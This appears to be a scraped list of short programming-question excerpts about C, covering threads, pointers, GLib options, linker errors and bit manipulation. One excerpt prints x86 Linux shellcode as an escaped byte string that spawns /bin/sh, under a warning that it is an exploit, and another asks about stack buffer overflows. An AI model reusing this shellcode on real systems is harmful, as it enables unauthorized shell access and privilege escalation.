c

checking whether 4 points in a plane define a square ??

how to check whether 4 points in the plane define a square? what's the function which given a point and a value of the area of a square as input parameters returns four squares(define a corresponding type) with sides parallel to the x axis and y axis this how i start: #include <stdio.h> #include<math.h> struct point{ float x; float y; ...

about buffer overflow

hello guys, I am new to the ethical hacking world, and one of the most important things is the stack overflow, anyway I coded a vulnerable C program which has a char name [400] statement, and when I try to run the program with 401A's it doesn't overflow, but the book which I am following says it must overflow and the logic sense says so...

netfiler hook and sending packet out of the hook function.

I am wring a netfilter module which would operate one specific TCP connection. After operating on one packet the function will return. Now, my question; is it possible if I want to steal one packet, and want to send it few millisecond later in one of my timeout(timer_list) function by storing the previous sk_buff structure? ...

Why is go language so slow?

As we can see from The Computer Language Benchmarks Game: go is in average 10x slower then C go is 3x slower then Java !? How it can be bearing in mind that go compiler produces native code for execution? Immature compilers for go? Or there is some intrinsic problem with the go language? EDIT: Most answers deny intrinsic slowness...

c multithreading

There's a weird behavior in my threads: void * foo(void * nic){ printf("foo"); } void * threadF(void * pointer){ printf("1\n"); pthread_t threadT; pthread_attr_t attr; pthread_attr_init (&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); pthread_create(&threadT,NULL,&foo,(void*)NULL); pr...

How to make command-line options mandatory with GLib?

I use GLib to parse some command-line options. The problem is that I want to make two of those options mandatory so that the program terminates with the help screen if the user omits them. My code looks like this: static gint line = -1; static gint column = -1; static GOptionEntry options[] = { {"line", 'l', 0, G_OPTION_ARG_INT,...

How to solve this problem with lists?

what i don't understand in my task here what kind of list i can use, and if it should have 2 attributes key and value ? or only value? with pointers to another node ofc the task: "design a function which create a list using input from the keyboard _ the prefered solution. Assume that some magic stops the input; so the length of a list i...

Collaborative kernel development

Hi, I have to develop a patch for the linux kernel (2.6) for an university course I'm attending. I have to develop this patch with a friend of mine and we need to edit the same files on our computers (2-3 PCs). So, we want to use something like a collaborative editor and/or a version control system. The problem is that we never used some...

How do I use the 7-zip LZMA SDK 9.x to self-extract?

I am writing a SFX for an installer. I have a number of good reasons for doing this, primarily: The installer is actually a large Python program which uses plugins. Using py2exe or pyinstaller makes doing plugins annoyingly complicated. I want to be able to pass command-line options directly to the Python installer script, as if it ...

Address of array vs. address of array[0] - C language

My question is why does the address of an array differ from the address of its first position? I'm trying to write my own malloc, but to start out I'm just allocating a chunk of memory and playing around with the addresses. My code looks roughly like this: #define BUFF_SIZE 1024 static char *mallocbuff; int main(){ mallocbuff = ...

Initialize void pointer to point to an array

Suppose I have the following: typedef struct { int itemSize; int count; void *list; } Mystruct; Mystruct *InitStruct(int itemSize, int count) { Mystruct *my = malloc(sizeof(Mystruct)); my->itemSize = itemSize; my->count = count; //What is the best way to initialize list? For example: //my->list = malloc(count * siz...

ruby c extensions: character values over 127

I am trying to make a C extension for Ruby that includes a method returning a string, which will sometimes have character values that need to be in an unsigned char. In http://github.com/shyouhei/ruby/blob/trunk/README.EXT, all of the functions listed for turning C strings into Ruby strings take signed chars. So I couldn't do this: unsi...

ID generator with local static variable - thread-safe?

Will the following piece of code work as expected in a multi-threaded scenario? int getUniqueID() { static int ID=0; return ++ID; } It's not necessary that the IDs to be contiguous - even if it skips a value, it's fine. Can it be said that when this function returns, the value returned will be unique across all threa...

1>main.obj : error LNK2001: unresolved external symbol _D3D10CreateDeviceAndSwapChain@32

having trouble getting my directx going I get the following error 1>Linking... 1>main.obj : error LNK2001: unresolved external symbol _D3D10CreateDeviceAndSwapChain@32 1>C:\Users\numerical25\Desktop\Intro ToDirectX\msdnTutorials\tutorial0\tutorial\Debug\tutorial.exe : fatal error LNK1120: 1 unresolved externals below is my code // ...

can anyone explain this code to me???

WARNING: This is an exploit. Do not execute this code. //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; ...

What's up with this reversing bit order function?

I'm rather ashamed to admit that I don't know as much about bits and bit manipulation as I probably should. I tried to fix that this weekend by writing some 'reverse the order of bits' and 'count the ON bits' functions. I took an example from here but when I implemented it as below, I found I had to be looping while < 29. If I loop while...

With Eclipse: How to add include paths and libraries for all your C project

It is possible to add include paths and libraries to all C projects. In others words who can I make them global or copy one C project build setting to an other one ...

C++: namespace conflict between extern "C" and class member

Hi, I stumbled upon a rather exotic c++ namespace problem: condensed example: extern "C" { void solve(lprec * lp); } class A { public: lprec * lp; void solve(int foo); } void A::solve(int foo) { solve(lp); } I want to call the c function solve in my C++ member function A::solve. The compiler is not happy wit...

"The C Programming Language" interesting quote in the preface

From the preface of the second edition of Kernighan and Ritchie's "The C Programming Language": As before, all examples have been tested directly from the text, which is in machine-readable form. That quote threw me for a loop. What exactly does it mean? Was the original manuscript written as a literate program? My first thought wa...

Pragmas swp,ivdep,prefetch support in various compilers

Hello In good Altix manual (altix_single_cpu_optimization) I've found this list of pragmas-hints for optimizing compilers #pragma ivdep // no aliasing #pragma swp // try to software-pipeline #pragma noswp // disable software-pipelining #pragma loop count (NN) // hint for SWP #pragma distr...